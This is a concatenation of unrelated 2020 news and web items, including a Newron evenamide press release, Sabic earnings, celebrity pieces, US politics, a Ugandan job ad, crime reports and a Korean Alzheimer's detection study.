chronic schizophrenia who are worsening on another second-generation antipsychotic. Evenamide, by its complementary and unique mechanism of action, involving modulation of abnormal glutamate release, is expected to enhance the efficacy of their current treatment." In May 2019, the FDA requested that Newron complete additional short-term explanatory studies in rats and human subjects to address concerns on findings from a recently completed study of evenamide in rats, as well as CNS events observed following high dose administration of evenamide in dogs. Subject to the successful completion of these studies, Newron has agreement with the FDA that it may commence its proposed Phase III clinical trial program with evenamide for patients with schizophrenia experiencing worsening of psychosis on atypical antipsychotics, and for treatment-resistant patients not responding to clozapine. Clozapine is the only antipsychotic approved worldwide for treatment-resistant schizophrenia. Newron is currently evaluating potential options for partnering/co-developing the further development of evenamide. Pipeline In addition, Newron is in advanced evaluation of a select number of opportunities to broaden its pipeline of novel therapies for patients with diseases of the central and peripheral nervous system. The market will be updated upon successful completion of any of the ongoing discussions. Xadago/safinamide The Company reports that progress has been made in discussions with Newron's partner Zambon relating to the performance of a potentially pivotal efficacy study to evaluate the effects of Xadago/safinamide in patients with Parkinson's disease levodopa-induced dyskinesia (PD LID). The study would be performed in the US, Europe and Asia/Australia. Zambon has acknowledged Newron's experience in the development of Xadago in patients with Parkinson's disease and agreed that Newron should be the party responsible for conducting the study, Zambon will remain associated with the study. Once discussions should be successfully completed, Newron will submit the final study design to the key regulatory authorities for approval and start preparations towards initiation of the study. Financials Newron's total available funds including the EIB loan funds not yet drawn, complemented by its royalty income and Italian R&D tax credits, will cover the pursuit of Newron's development programs and operations, as currently contemplated, well into 2022. Conference call Newron management will hold an international conference call today, August 11, 2020, 3:00 PM CET, 9:00 AM ET to provide an update and to answer questions. Dial-in details to the media/analyst/investor conference call: Switzerland/Europe: +41 (0)58 310 50 00 United Kingdom: +44 (0)207 107 0613 United States: +1 (1)631 570 5613 About evenamide Evenamide has the potential to be first add-on therapy for the treatment of patients with positive symptoms of schizophrenia. The compound is an orally available New Chemical Entity that specifically targets voltage-gated sodium channels for the treatment of schizophrenia. Evenamide originates from Newron's ion channel program and has a unique mechanism of action: glutamate modulation and voltage-gated sodium channel blockade. Evenamide modulates sustained repetitive firing, without inducing impairment of normal neuronal excitability. It normalizes glutamate release induced by aberrant sodium channel activity. In a Phase IIa clinical study, Newron demonstrated evenamide's evidence of efficacy in significantly improving symptoms of psychosis compared with placebo when added to two of the most commonly prescribed atypical antipsychotics in patients with chronic schizophrenia. The study also indicated that evenamide is devoid of an effect on any of the over 130 neurotransmitters, enzymes, or transporters targeted by most antipsychotics. About Newron Pharmaceuticals Newron (SIX: NWRN, XETRA: NP5) is a biopharmaceutical company focused on the development of novel therapies for patients with diseases of the central and peripheral nervous system. The Company is headquartered in Bresso near Milan, Italy. Xadago/safinamide has received marketing authorization for the treatment of Parkinson's disease in the European Union, Switzerland, the USA, Australia, Canada, Brazil, Colombia, the United Arab Emirates and Japan, and is commercialized by Newron's Partner Zambon. US WorldMeds currently holds the commercialization rights in the USA and has entered into a definitive agreement to sell its Xadago rights, along with other CNS assets, to Supernus Pharmaceuticals. Meiji Seika has the rights to develop and commercialize the compound in Japan and other key Asian territories. Newron is also developing evenamide as the potential first add-on therapy for the treatment of patients with positive symptoms of schizophrenia. For more information, please visit: www.newron.com For more information Newron Stefan Weber - CEO +39 02 6103 46 26 pr@newron.com UK/Europe Simon Conway/ Natalie Garland-Collins, FTI Consulting +44 20 3727 1000 SCnewron@fticonsulting.com Switzerland Martin Meier-Pfister, IRF +41 43 244 81 40 meier-pfister@irf-reputation.ch Germany/Europe Anne Hennecke/Caroline Bergmann, MC Services +49 211 52925220 newron@mc-services.eu USA Paul Sagan, LaVoieHealthScience +1 617 374 8800, Ext. 112 psagan@lavoiehealthscience.com Important Notices This document contains forward-looking statements, including (without limitation) about (1) Newron's ability to develop and expand its business, successfully complete development of its current product candidates, the timing of commencement of various clinical trials and receipt of data and current and future collaborations for the development and commercialization of its product candidates, (2) the market for drugs to treat CNS diseases and pain conditions, (3) Newron's financial resources, and (4) assumptions underlying any such statements. In some cases, these statements and assumptions can be identified by the fact that they use words such as "will", "anticipate", "estimate", "expect", "project", "intend", "plan", "believe", "target", and other words and terms of similar meaning. All statements, other than historical facts, contained herein regarding Newron's strategy, goals, plans, future financial position, projected revenues and costs and prospects are forward-looking statements. By their very nature, such statements and assumptions involve inherent risks and uncertainties, both general and specific, and risks exist that predictions, forecasts, projections and other outcomes described, assumed or implied therein will not be achieved. Future events and actual results could differ materially from those set out in, contemplated by or underlying the forward-looking statements due to a number of important factors. These factors include (without limitation) (1) uncertainties in the discovery, development or marketing of products, including without limitation difficulties in enrolling clinical trials, negative results of clinical trials or research projects or unexpected side effects, (2) delay or inability in obtaining regulatory approvals or bringing products to market, (3) future market acceptance of products, (4) loss of or inability to obtain adequate protection for intellectual property rights, (5) inability to raise additional funds, (6) success of existing and entry into future collaborations and licensing agreements, (7) litigation, (8) loss of key executive or other employees, (9) adverse publicity and news coverage, and (10) competition, regulatory, legislative and judicial developments or changes in market and/or overall economic conditions. Newron may not actually achieve the plans, intentions or expectations disclosed in forward-looking statements and assumptions underlying any such statements may prove wrong. Investors should therefore not place undue reliance on them. There can be no assurance that actual results of Newron's research programs, development activities, commercialization plans, collaborations and operations will not differ materially from the expectations set out in such forward-looking statements or underlying assumptions. Newron does not undertake any obligation to publicly up-date or revise forward looking statements except as may be required by applicable regulations of the SIX Swiss Exchange where the shares of Newron are listed. This document does not contain or constitute an offer or invitation to purchase or subscribe for any securities of Newron and no part of it shall form the basis of or be relied upon in connection with any contract or commitment whatsoever. Saudi Arabias Sabic, a multinational chemical manufacturing company, said that its revenue for the second quarter reached SR24.62 billion ($6.57 billion), representing a decrease of 18% compared to the previous quarter and a 29% decrease year-on-year. Loss from operations for the quarter totalled SR1.26 billion ($0.34 billion). This was higher than the loss from operations of SR0.06 billion [$0.02 billion] in the previous quarter and lower than the profit from operations of SR4.02 billion [$1.07 billion] in the second quarter of 2019 Net losses during the second quarter amounted to SR2.22 billion ($0.59 billion). This was higher than the net loss of SR1.05 billion [$0.28 billion] in the previous quarter and lower than the net profit of SR2.03 billion ($0.54 billion) in the second quarter of 2019. Yousef Al-Benyan, Sabic Vice Chairman and CEO, said that Sabics performance came in the context of ongoing significant challenges facing both the chemicals sector and the financial markets globally. The second quarter saw strong headwinds as global growth declined significantly. This was due to COVID-19 impacting the supply and demand balance for our critical products and the resultant effect on prices and margins, he said. Despite the challenging environment, Sabic has shown resilience in its operations. We remain committed to protecting the health and safety of our employees, supplying our customers reliably, supporting humanitarian efforts and proactively collaborating with customers, logistic partners, governments and health authorities to maximize our collective positive impact on communities. In the current tough macro environment, maintaining a strong balance sheet and a strong credit rating on a standalone basis, and delivering competitive dividends to our shareholders are high priorities, Al-Benyan added. Announced in June 2020, Saudi Aramco successfully completed its share acquisition of a 70% stake in Sabic from the Public Investment Fund (PIF), for a total purchase price of SR259.125 billion ($69.1 billion). Al-Benyan said: Our collaboration with Saudi Aramco will accelerate the achievement of Sabics strategic objectives. There will be benefits for business and operations, with coordinated efforts for sales and marketing bringing one face to the market. We will work together with Saudi Aramco to realize the many potential synergies including capitalizing on expertise in executing and streamlining growth projects coupled with distribution, logistics and supply chain activities. Bringing the businesses together will also support the Kingdoms strategy of maximizing the value generated by the petrochemicals industry and delivering Saudi Vision 2030. In July, Moodys Investors Service affirmed Sabics A1 long-term issuer rating and A1 senior unsecured bond ratings following the completion of Saudi Aramcos acquisition of a 70% stake in Sabic. Sustainability and innovation also continue to represent essential success factors for Sabic. In the reporting period, Sabic extended support to London-based bioplastics firm VOID to develop a new technology to reduce plastic use, mostly in packaging, by up to 50%, while remaining fully recyclable. TradeArabia News Service Tziporah Malkah, formerly known as Kate Fischer, has returned to her glamorous roots in recent months. The 46-year-old looked effortlessly chic as she stepped out for dinner with friends in Sydney on Sunday. She wore stylish high heels and a pair of burgundy pants, and kept warm by wrapping herself up in an elegant black shawl. Glam: Tziporah Malkah looked effortlessly chic as she stepped out for dinner with friends in Sydney on Sunday Tziporah accessorised with a black handbag and wore her long brunette locks pinned up. The ex-fiancee of billionaire James Packer recently lost an incredible 50kg after tipping the scales at a whopping 120kg. Appearing on Channel Nine's A Current Affair last year, the Sirens star said she shed the weight thanks to healthy eating, surgery and hypnotherapy. Fabulous: Tziporah accessorised with a black handbag and wore her long brunette locks pinned up Work it! The brunette beauty turned the sidewalk into her own personal runway as she strutted her stuff down the street The one-time Sydney 'it girl' underwent a 'mini lipo tuck' and a Brazilian butt lift, and also worked alongside Mark Stephens, a hypnotherapist specialising in weight loss. '[The] mental anguish from all the stresses of life are just not there anymore. And I think that's probably the greatest gift,' Tziporah said of her journey. Tziporah's weight had ballooned after she relocated to the U.S. in the early 2000s. Nice to see you! Tziporah was all smiles as she greeted her good friend at the restaurant Careful! The pair shared a friendly hug despite the dangers of the coronavirus She decided to slim down after weighing in at 120kg during her appearance on I'm A Celebrity... Get Me Out Of Here! in 2017. She recently launched a new career as a lollipop lady on construction sites. Speaking to the Daily Telegraph on Sunday, she said that she has commenced a full-time job with Australian Traffic Solutions, thanks to a suggestion from a friend. Trim: Tziporah showed off her incredible 50kg weight loss in a tight ensemble Happy days: The Sirens stunner couldn't wipe the smile off her face as she dined Pout: Tziporah pouted as she gazed out of the restaurant window Having fun? Tziporah looked like she was having a good time at the restaurant 'He knew that I was struggling,' she told the publication of her first job in quite a while. 'He also knew I was a hard worker and a decent person, so [he] offered me an opportunity.' After a challenging past few months, Tziporah said she was ready to 'fight' her way back to health and happiness. Reality TV: She decided to slim down after tipping the scales at 120kg during her appearance on I'm A Celebrity... Get Me Out Of Here! (pictured) in 2017 'There are people out there rooting for me. They want to see the phoenix rise from the ashes.' In December, Tziporah had her fans concerned over her erratic Instagram posts. She had been visited by police and ambulance crews at her Kings Cross apartment several times last year. United Nations, Aug 11 : Volkan Bozkir, the President-elect of the 75th session of the UN General Assembly (UNGA), has decided to ask member states to focus on multilateralism in the context of the COVID-19 pandemic during September's General Debate. In a letter to member states on Monday, Bozkir said the theme of this year's General Debate will be "The Future We Want, the United Nations We Need: Reaffirming Our Collective Commitment to Multilateralism -- Confronting COVID-19 Through Effective Multilateral Action", reports Xinhua news agency. He was just adding the COVID-19 element to the theme of the commemoration of the 75th anniversary of the United Nations. "Given the global crisis triggered by the COVID-19 pandemic, I have decided to append to this overarching theme a more specific focus," he said in the letter. "I would encourage all member states to reflect on how the future we want and the United Nations we need can be concretized in the specific context of COVID-19, with a particular focus on the most vulnerable; and how we can ensure our partnerships to achieve Agenda 2030 adapt to the crisis as we enter the Decade of Action to achieve the SDGs (Sustainable Development Goals)." Unlike his predecessors, Bozkir will not be hosting world leaders during this year's General Debate in September as a result of COVID-19. Instead, world leaders have been asked to submit pre-recorded messages that will be played in the General Assembly Hall. Turkish diplomat Bozkir was elected UNGA President in June after he won unanimous support from the 178 UN member states. The General Assembly president has a one-year term. Bozkir, 69, is a career diplomat who has served as Turkey's Minister of European Union Affairs and the chief negotiator for the country's accession to the bloc. He was Turkey's consul-general in New York between 1989 and 1992, and the permanent representative to the EU from 2005 to 2009. With the fall election less than three months away, Republicans appear to be limiting their targets in California congressional races. The Congressional Leadership Fund, a super PAC that works closely with House Republican leader Kevin McCarthy of Bakersfield, said Monday that it will spend almost $2.8 million more for TV ads in the state with all the money going to just three contests. The group will put $400,000 on the air in Bakersfield and Fresno, where former GOP Rep. David Valadao faces Rep. TJ Cox, D-Fresno, in a rematch of their 2018 showdown. The Republican group will spend $2.4 million in the Los Angeles/Orange County television market, where the party lost five seats in 2018. But all that money is earmarked for just two contests: $1.8 million for GOP Rep. Mike Garcia of Santa Clarita (Los Angeles County), who is trying to hold the seat he won in a May special election to replace Democratic Rep. Katie Hill, who resigned last year; and $600,000 for Orange County Supervisor Michelle Steel, who is challenging Rep. Harley Rouda, D-Laguna Beach. In April, the group booked $4.6 million of California ads for the fall, but didnt specify the races those TV spots would target. GOP groups put millions into Garcias special election contest and millions more for the states fall campaigns. The three targeted races represent the GOPs best hopes for flipping back some of seven seats they lost two years ago. The Central Valley contest was the tightest congressional race in the country, with Cox pulling out an 862-vote victory that wasnt decided until a month after election day. But Cox has run into problems this year, often of his own making. The Fresno Bee reported that he pressured the National Park Service for a July 4 vacation trip to enter Yosemite after losing the open-to-all lottery for the car passes. His campaign called the report a meritless partisan attack. Bill Clark / CQ-Roll Call,Inc. Cox fought back this week with a television ad showing him driving a battered pickup truck on dirt roads through acres of orchards, saying he had visited every corner of the district from Delano to Mendota to Lamont, and that the district cant go back to the old Washington ways with a guy who voted with Donald Trump 99% of the time. Republicans won a rare congressional victory in California when Garcia defeated Assemblywoman Christy Smith, D-Santa Clarita, in the runoff election for the seat Hill vacated last year, but it could be a different story in November. Garcias people are touting a late July internal poll paid for by the Congressional Leadership Fund, which shows the businessman and former Navy pilot with a 48% to 41% lead. But Roll Call, a Washington, D.C., newspaper, listed Garcia last week as the most vulnerable House incumbent, warning that a November surge in turnout could hurt him in a district Trump lost in 2016. In Orange County, the contest between Steel and Rouda is fast becoming one of the nastiest in the country, with Rouda blaming the supervisor for the countys problems with the coronavirus while Steel is hitting back by charging that Rouda is politicizing the pandemic. Since the most recent campaign finance reports show that both candidates had better than $2 million in the bank on June 30, the battle is likely to get even noisier. The new California ad buys were part of $45 million the leadership fund is spending on GOP candidates across the country. The group booked another $43 million in April. John Wildermuth is a San Francisco Chronicle staff writer. Email: jwildermuth@sfchronicle.com Twitter: @jfwildermuth Job Title: Business Development Manager Organization: Arid-land Development Programme (ADP) Duty Station: Uganda Reports to: Executive Director ADP About US: Arid-land Development Programme (ADP) is a Community based Christian Organization started in 2004 and acquired the status of an NGO in April 2008. ADPs goal is to empower people to stimulate transformation through holistic development approach. Job Summary: The Business Development Manager is the Senior Management Officer of the RTC and is responsible for leading an effective and cohesive business wing of ADP. The Business Development Manager works with and is accountable to the Board, reporting through the Executive Director. The Business Development Manager is responsible for the overall leadership and management of operational and administrative functions of the RTC. The Business Development Manager supports the Board and to define the RTC strategic vision and is accountable for its implementation and results. The Business Development Manager works with the Board to set the tone of the RTCs ethical and operational standards, in line with the long-term strategic objectives and vision. The Business Development Manager is the main spokesperson for the RTC within the policies and objectives agreed by the Board. The Business Development Manager has a key role and is responsible for promoting viable investments within RTC in Abim Key Duties and Responsibilities: Board Liaison, Strategy, Business Development and Operational Management The Business Development Manager will: Develop business strategies for the RTC in accordance with its mission and vision as a business enterprise and subsidiary of ADP. Develop 2-year business plan and annual operational budget to execute the business strategies. Implement the business plans on budget and on time. Provide strategic advice to set up and continuously improve the RTCs performance to the Business Steering Committee. Develop systems and organize business development meetings on a quarterly basis Develop RTCs monthly, quarterly and annual financial and operational reports and present them to the subcommittee of the board for approval. Develop operational policies, present them for approval by board, and implement within the limitations of the laws of the Republic of Uganda. Communicate and maintain relationships based on trust and integrity with shareholders, business partners and regulatory authorities. Oversee RTCs financial performance, investments and other business ventures and recommend opportunities for continued growth to the Board for approval. Report to the business Committee of ADP on the progress made against strategic plan, annual business plan and objectives. Risk Management: The Business Development Manager is to: Identify and assess potential operational, financial and business risks to the RTC Actively implement measures to reduce and mitigate these risks, reporting to the Board on progress made. Human Resources: The Business Development Manager will: Manage and oversee the overall RTC business structure, to ensure effective management and development according to work plans. Advise the Board on HR needs and lead the recruitment, training, motivation, retention and HR deployment for the RTC Develop and present for approval a framework for managing human resources of the RTC; including key performance indicators (KPIs) for staff, HR policies and manuals. Implement the framework for a systematic operation of the RTC Lead by example, delegate responsibilities and supervise the work of employees providing guidance and motivation to drive maximum performance and profit Provide guidance on attracting, retaining and motivating resources to fulfil the strategic objectives. Thought leadership Provide thought leadership on how to maximize the impact of the RTC on business operations for beneficiaries such as the small holder farmers. Support Board in fundraising and management of both grants and loans. Build and maintain effective business alliances as part of a profitable partnership with associated bodies, partners and agencies. Internal Systems The Business Development Manager will ensure the adequate provision and development of systems for business information management. This includes adequate control, processing and disclosure covering the RTC business data and communications activities, and that these are aligned to any legal and regulatory requirements both directly and through the work that the RTC undertakes. Financial Management: The Business Development Manager will: Develop, improve on and strengthen the financial systems of the RTC to high levels of integrity, transparency, instant reporting and confidence by Board. Set finance performance targets for finance teams and manage the operations of the department to achieve the targets. Constantly develop opportunities for diversifying the investments of the RTCs funds in a manner that guarantees greatest returns. Oversee and advance the development of new funding streams for the company, including broadening and developing sponsorship and other revenue generating strategies. Chair and Board: The Business Development Manager will: Ensure an effective, open and transparent working relationship with the Chair (Business development Director of ADP) and the board Meet with the Director to set targets and review past performance against previous targets and strategic progress against objectives and goals. Ensure that business committee members of the RTC are provided in a timely fashion all information and access to management information necessary to fulfil their statutory obligations. Report to the Boards on strategic, operational, administrative, policy and financial aspects of the organization at Board meetings as the Senior Management Officer of the RTC. Ensure timely and effective distribution of all materials, according to policies and procedures, and communicate relevant Board decisions to RTC staff and (any) shareholders. Key Performance Targets Grow Net profit margins by at least 10% annually. Achieve cash-cycle of 6 days maximum. Maintain at least cash conversion rate of 1. Qualifications, Skills and Experience: He / she should hold a Bachelors degree in Business Administration or related course. A proven record of managing a business with at least UGX 50 Million in annual turn over. Good knowledge with good network of clients, partners and suppliers. Demonstrable experience in developing business strategies, business plans and annual operating budgets. Thorough knowledge of the target market of the RTC and ability to grow market share. Strong understanding of corporate finance and measures of performance An understanding of financial management and wider management principles and techniques. Political and presentational skills with an appreciation of the demands of conflicting interests and of meeting statutory requirements. Ability to manage dynamic teams to deliver high growth performance for a growing business and Centre. Good leadership skills and excellent communication skills. Excellent organizational skills, analytical and problem-solving skills. How to Apply: All candidates should send their applications with updated CVs and copy of academic and professional documents should be submitted to the Human Resource Manager, Aridland Development Programme, P.O. Box 12, Abim either in hard or soft copy using the email below: adparidland@yahoo.com Deadline: 14th August 2020 by 5.00 pm. For more of the latest jobs, please visit https://www.theugandanjobline.com or find us on our Facebook page https://www.facebook.com/UgandanJobline She has been busy shooting her latest calendar and presenting her Heart radio show. And Kelly Brook looked in good spirits as she arrived at Global Studios to host the drivetime show on Tuesday. The former glamour model, 40, showcased her summer style as she donned a pink and green floral dress with short sleeves. Out and about: Kelly Brook, 40, looked in good spirits as she arrived at Global Studios to host the drivetime show on Tuesday The presenter carried a black and gold designer handbag while she also sported a silver necklace for the outing. Donning a large pair of sunglasses, Kelly added a casual touch to her outfit with white trainers. The star completed her look for the day by letting her brunette locks fall loose down her shoulders. It comes after Kelly got up close and personal with her Instagram fans as she shot her 2021 calendar. Outfit: The former glamour model showcased her summer style as she donned a pink and green floral dress with short sleeves Looking good: The presenter carried a black and gold designer handbag while she also sported a silver necklace for the outing Due to COVID-19. the crew brought Ibiza to Kelly, as they constructed a make-shift beach and pool backdrop to resemble the white isle. Luckily, the weather was on their side, with temperatures reaching a high of 31 degrees in England. Kelly lives close to the south coast with her boyfriend Jeremy Parisi, in a quaint countryside pile. It's believed she was set to fly to Ibiza for the shoot now that the UK has allowed travel again during the COVID-19 pandemic, but a new law has recently been enforced ruling anyone flying home from Spain to quarantine for 14 days. Kelly took the afternoon to shoot the calendar, stepping away from her presenting duties on Heart Radio. Multiple suspects broke into an ATM in Hingham with a stolen pickup truck early Sunday morning, police said. Four men are accused of breaking into an outdoors, drive-up ATM at a Bank of America location on 95 Sgt. William B. Terry Drive around 3:05 a.m., according to a statement from the Hingham Police Department. They drove away from the scene in a white 2005 Ford F250 that had been stolen from a resident in the South Shore town before the robbery, the statement said. Officers found the ATM door open and its contents missing. Several minutes later, a resident on Bayberry Road reported a pickup truck had driven onto their street dragging metal chains, according to police. The resident went outside and saw three men, wearing masks, moving cash from the truck into a car with a driver waiting inside, authorities said. Cash was falling out of the truck onto the ground, the witness reported. After the resident asked the suspects what they were doing, one of them lifted his shirt to reveal a handgun tucked in his waistband, according to the department. The four men drove away in the other car and left the truck behind. They were all wearing black masks and black sweatshirts, police noted. As of Monday night, authorities were still searching for the suspects and looking for video of the stolen truck from around 3 a.m. on Sunday. Anyone with information about the robbery has been asked to call Detective Michael Gervasi of the Hingham Police Department at 781-741-1443 or leave an anonymous tip online. Sky News The Duchess of Sussex has complained to the BBC after its media editor said she apologised for misleading a court during her legal case against the Mail on Sunday. Meghan asked for clarification from the corporation that she had actually apologised for "not remembering" that she knew a former aide had helped with controversial royal biography Finding Freedom. "The Duchess of Sussex has asked us to clarify that she apologised to the court for not remembering email exchanges with her former communications secretary, Jason Knauf, in her evidence, and said that she had no intention to mislead the court." "It wasn't bad." That's what 102-year-old Mildred Geraldine "Gerri" Schappals had to say about getting sick with Covid-19 at her assisted living facility in Nashua, New Hampshire, according to local news site WMUR. Perhaps Schappals, who was moderately sick for several days, is seemingly unruffled by her bout with the novel coronavirus because she has survived so much: Schappals was born in Massachusetts the year of the Spanish flu pandemic and caught it as a baby; in the '80s and '90s she survived breast then colon cancer; and in May, she contracted Covid-19 and fully recovered. Schappals daughter, Julia Schappals, 68, wasn't surprised one bit by her mother's recovery from Covid-19. She credits Schappals' witty but tough attitude with getting her through trying times. "She always managed to find the humorous/absurd/laughable aspect of anything stressful," Julia Schappals tells CNBC Make It. Schappals says her mother was tough from the start. It began when she caught the so-called Spanish flu (an H1N1 avian flu virus) as a 10-month-old baby. Mortality was high for children under 5, and due to her high fever, doctors thought Schappals would likely die. The 1918-19 flu pandemic killed an estimated 50 million people worldwide and more than 675,000 people in the U.S., but Schappals survived. Schappals went on to graduate from college, get married, have two children and become a teacher. But when Shappals was in her 60s, she was diagnosed with breast cancer and had radiation therapy. Then in her 70s came colon cancer, for which she had surgery and chemotherapy. So what is Schappals' secret to surviving tough times? Prof. Kwamena Ahwois Working With Rawlings book has chronicled possible instances that led to the fall out between Jerry Rawlings and his one-time discovery Vice President John Atta Mills. He said that Rawlings wife, Nana Konadu Agyeman-Rawlings had a huge role to play in the fight. According to Ludwig Hlodze, Special Assistant to President Mills and one-time National Youth Organizer of the NDC, the origin of the soured relationship between Rawlings and Mills started in the 2004 presidential election. He said President Mills told him that at a one-on-one meeting with Nana Konadu, the latter had expressed interest in being his vice presidential candidate in that election. Mills had frankly and honestly told her that that was out of the question. Ludwig suspects that Nana Konadu must have reported this to Rawlings and that must have fed into the already simmering tensions between the two of them. John Henry Martey Newman, President Mills Chief of Staff and close personal friend traces the origin of the rift to Mills refusal to choose Nana Konadu as his running mate in the 2004 presidential election. This was made worse in 2008 when Mills this time refused to accept Nana Konadus choice of a running mate for him in the person of Mrs. Betty Mould-Iddrisu, who was later Attorney General and Minister for Justice of Ghana in President Mills' era. The climax of the soured relationship, according to Nana Ato Dadzie, President Rawlings Chief of Staff was when Mills won the presidency and refused to order the prosecution of NPP officials who had served in President Kufuors Government and who, in his view, had committed crimes. Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video A former dean of admissions at Texas Southern Universitys law school stole nearly $74,000 in scholarship money by inflating financial awards for two students and pocketing the excess funds, according to a criminal charge filed Monday. Edward Rene, 52, was charged with theft by a public servant, a second-degree felony. If convicted, he faces a maximum punishment of 20 years in prison. The former TSU Law School dean of admissions masterminded a variety of schemes to steal money from the school by diverting student scholarship funds to himself, Harris County District Attorney Kim Ogg said in a statement. He abused his power for personal profit and his actions hurt the school and the students, Ogg said. It was the TSU Board of Regents who brought us the case following an internal investigation, and we applaud their swift actions to bring this thief to justice. Marc Carter, vice chair of the board of regents, said the board decided to involve authorities after TSUs former administration failed to act promptly in addressing an obvious crime committed by Rene. Additionally, they hired an independent auditor to investigate and suggest best practices to prevent improprieties. The regents have a duty to protect the university. That includes holding administrators accountable for their acts and in some cases their omissions, Carter said. He added that TSU has moved beyond the controversy and the board is now focused on the COVID pandemic, protecting students and ensuring they receive an excellent education. The criminal justice system, Carter said, will deal with former associate dean Rene. Rene is expected to turn himself in, according to the district attorneys office. He did not answer his cell phone Monday afternoon. Controversies at the law schools admissions office led to months of friction between TSUs regents and Austin Lane, TSUs president at the time. Lane said in past interviews that school officials and auditors were investigating improprieties in the admissions office when the regents intervened. Lane ultimately reached a settlement with the board to end his contract with the school. Lane received $560,000, which included a $100,000 payment for emotional distress. Lane said he was also owed $80,000 in vacation time and nearly $240,000 in deferred compensation. Kenneth Huewitt, the schools former chief financial officer and vice president of finance and administration, was appointed acting president in January and has served as interim president since April. TSUs board of regents brought their concerns about Rene to the District Attorneys Office of Public Corruption. Harris County investigators worked with the FBI to investigate Rene, a longtime employee at TSU. FBI Special Agent Coy Davis stated in an affidavit that the scheme began in August 2017. Two TSU students, who werent identified in court papers, told the FBI that Rene had offered them scholarships to help cover tuition costs but they received tens of thousands of dollars in extra financial aid. The students were described by Davis as credible witnesses, and they face no criminal charges. Rene told one student that the excess funds would need to be returned to a charitable foundation to help minority students, the affidavit alleges. Rene gave no name of a foundation, and he told the student to write cashiers checks to Rene from the fall of 2017 to the fall of 2019 that totaled nearly $47,000. Rene told a second student in October 2018 that he had a family foundation that could help pay the students tuition fees, Davis stated in his affidavit. The student was initially paid $7,500, which covered the tuition bill. But then the student was awarded an additional $7,500. The student asked Rene about the discrepancy and was told it was an accounting error. Rene asked the student to reimburse Rene directly with a check, cashiers check, or money order, according to the affidavit. The double payments continued, court records allege, and the student paid Rene a total of nearly $27,000. The FBI found no evidence of a charitable foundation tied to Rene, and court records allege that all the checks were either deposited in his personal bank account or cashed at his bank. Joan Bullock, the dean of TSUs Thurgood Marshall School of Law, told the FBI that Rene had sole discretion to award scholarships from the law school, but the money was intended for students. Another school official, Derrick Wilson, identified in the affidavit as director of administration, said several TSU administrators reviewed and approved Renes budgetary requests for scholarship money but no one ever questioned Rene. Moving forward, Carter said the boards goal is to make TSU a school that is competitive with other historically Black colleges and universities by ensuring that the institution, its officials and instructors are exceptional and employ best practices in every aspect. The negative press surrounding Renes theft earlier this year had made things difficult especially considering that Black institutions often feel pressure to perform better than predominantly white institutions, Carter said. Due to racism, being just as good isnt good enough, he said. When bad news surfaces at a black institution, it tends to blow up more than anywhere else. When we have something like this, like a Dean Rene, it does significant damage, Carter said. There was a cancer in the school that we had to cut out, he added. brittany.britto@chron.com john.tedesco@chron.com Certain proteins in nasal discharge can indicate the onset and progression of Alzheimer's, providing an avenue for early detection The Republic of Korea, like other countries with a rapidly ageing population, is facing increasing numbers of patients with dementia, of which Alzheimer's disease (AD) is the most representative type. Unfortunately, AD has no complete cure yet; but, some treatments have been proven to delay its progression. Of course, this means that timely diagnosis while the symptoms are still mild is essential to maximize a patient's quality of life. However, currently available technologies for diagnosing AD are limited because they involve expensive machinery and invasive or inconvenient procedures. Now, in a recent study published in Scientific Reports, scientists from Daegu Gyeongbuk Institute of Science and Technology, Korea, hint at a novel way of diagnosing AD in a much simpler way --collecting and analyzing specific proteins in nasal discharge samples. Professor Cheil Moon, who led the study, explains how they came up with the idea: "In 2017, we found that olfactory dysfunction occurred in the early stages of AD in mice and suggested that the cause of the symptoms was induced by soluble species of amyloid- (A) oligomer accumulations in the peripheral olfactory system. We hypothesized that soluble A oligomers could be detectable in nasal discharge and that they may be a useful parameter to monitor disease progression." To test their hypothesis, they gathered and compared nasal discharge samples from 39 patients with AD and 21 people from an age-matched control group. They found that the levels of two particular A oligomers (the aggregated forms of A implicated as characteristic of Alzheimer's) were consistently higher in patients from the AD group. What's more, the levels of the "soluble" form of this protein could be used to not only separate healthy subjects from patients with AD, but also predict the onset and progression of AD over a three-year period. Although further research will be required to better understand the link between A oligomers in nasal discharge and the cognitive impairments related to AD, the results are certainly promising. Prof Moon remarks, "Routine nasal discharge screenings would be a better option to screen for AD because of its various advantages, such as its relatively low cost and non-invasive nature. The results of our study introduce a novel and simple approach to assess AD progression." This new diagnostic technique will hopefully help in simpler and faster detection of Alzheimer's and improving the disease outcome, thus bringing much needed relief to millions suffering from the Alzheimer's worldwide. ### Reference Authors: Seung?Jun Yoo1,2,7, Gowoon Son1,7, Jisub Bae1, So Yeun Kim1,2, Yong KyoungYoo3, Dongsung Park3, Seung Yeop Baek4, Keun?A Chang5, Yoo?Hun Suh5, Yeong?Bae Lee6, Kyo Seon Hwang3, YoungSoo Kim4 and Cheil Moon*1,2 Title of original paper: Longitudinal profiling of oligomeric A in human nasal discharge reflecting cognitive decline in probable Alzheimer's disease Journal: Scientific Reports DOI: 10.1038/s41598-020-68148-2 Affiliations: 1Department of Brain and Cognitive Sciences, Graduate School, Daegu Gyeungbuk Institute of Science and Technology 2Convergence Research Advanced Centre for Olfaction, Daegu Gyeungbuk Institute of Science and Technology 3Department of Clinical Pharmacology and Therapeutics, College of Medicine, Kyung Hee University 4Integrated Science and Engineering Division, Department of Pharmacy, Yonsei Institute of Pharmaceutical Sciences, Yonsei University 5Department of Pharmacology, School of Medicine, Gachon Medical School 6Department of Neurology, Gil Medical Center, Gachon University *Corresponding author's email: cmoon@dgist.ac.kr About Daegu Gyeongbuk Institute of Science and Technology (DGIST) Daegu Gyeongbuk Institute of Science and Technology (DGIST) is a well-known and respected research institute located in Daegu, Republic of Korea. Established in 2004 by the Korean Government, the main aim of DGIST is to promote national science and technology, as well as to boost the local economy. With a vision of "Changing the world through convergence", DGIST has undertaken a wide range of research in various fields of science and technology. DGIST has embraced a multidisciplinary approach to research and undertaken intensive studies in some of today's most vital fields. DGIST also has state-of-the-art-infrastructure to enable cutting-edge research in materials science, robotics, cognitive sciences, and communication engineering. Website: https://www.dgist.ac.kr/en/html/sub01/010204.html About Professor Cheil Moon Cheil Moon is a neuroscientist who studies the structure and functions of the olfactory system. He works at the Department of Brain and Cognitive Sciences in DGIST. One of his research interests is the study of the olfactory system in patients with Alzheimer's disease, from the fundamental mechanisms of olfactory dysfunction to applications using biomarkers in the olfactory system. "He said, 'Kristi, come on over here. Shake my hand, and so I shook his hand, and I said, 